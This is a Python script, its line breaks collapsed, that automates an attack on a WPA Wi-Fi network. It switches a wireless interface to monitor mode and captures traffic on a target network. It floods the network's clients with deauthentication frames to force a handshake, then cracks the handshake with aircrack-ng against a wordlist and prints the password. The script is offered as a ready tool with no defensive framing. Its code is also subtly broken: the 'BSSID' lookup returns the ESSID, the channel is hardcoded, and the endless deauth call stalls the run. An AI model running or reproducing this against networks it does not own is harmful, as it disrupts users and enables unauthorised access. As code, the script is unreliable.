import subprocess import re import time def change_to_monitor_mode(interface: str) -> None: """ Change the given interface to monitor mode. """ subprocess.run(["sudo", "airmon-ng", "start", interface]) def change_to_managed_mode(interface: str) -> None: """ Change the given interface to managed mode. """ subprocess.run(["sudo", "airmon-ng", "stop", interface]) def get_bssid(essid: str) -> str: """ Get the BSSID of the given ESSID. """ process = subprocess.Popen(["sudo", "iwconfig"], stdout=subprocess.PIPE) output, error = process.communicate() output = output.decode("utf-8") match = re.search(r"ESSID:\"({})\"".format(essid), output) if match: return match.group(1) else: return None def capture_handshake(bssid: str, interface: str) -> None: """ Capture the handshake of the given BSSID. """ subprocess.Popen(["sudo", "airodump-ng", "--bssid", bssid, "--channel", "6", "-w", "capture", interface], stdout=subprocess.PIPE) time.sleep(5) subprocess.run(["sudo", "aireplay-ng", "--deauth", "0", "-a", bssid, interface]) time.sleep(10) subprocess.run(["sudo", "killall", "airodump-ng"]) def crack_handshake(capture_file: str, wordlist: str) -> str: """ Crack the handshake in the given capture file. """ process = subprocess.Popen(["sudo", "aircrack-ng", "-w", wordlist, capture_file], stdout=subprocess.PIPE) output, error = process.communicate() output = output.decode("utf-8") match = re.search(r"KEY FOUND! \[(.*)\]", output) if match: return match.group(1) else: return None if __name__ == "__main__": essid = input("Enter the ESSID: ") interface = input("Enter the interface: ") wordlist = input("Enter the path to the wordlist: ") change_to_monitor_mode(interface) bssid = get_bssid(essid) if bssid: print(f"BSSID: {bssid}") capture_handshake(bssid, interface) password = crack_handshake("capture-01.cap", wordlist) if password: print(f"Password: {password}") else: print("Password not found.") else: print("ESSID not found.") change_to_managed_mode(interface)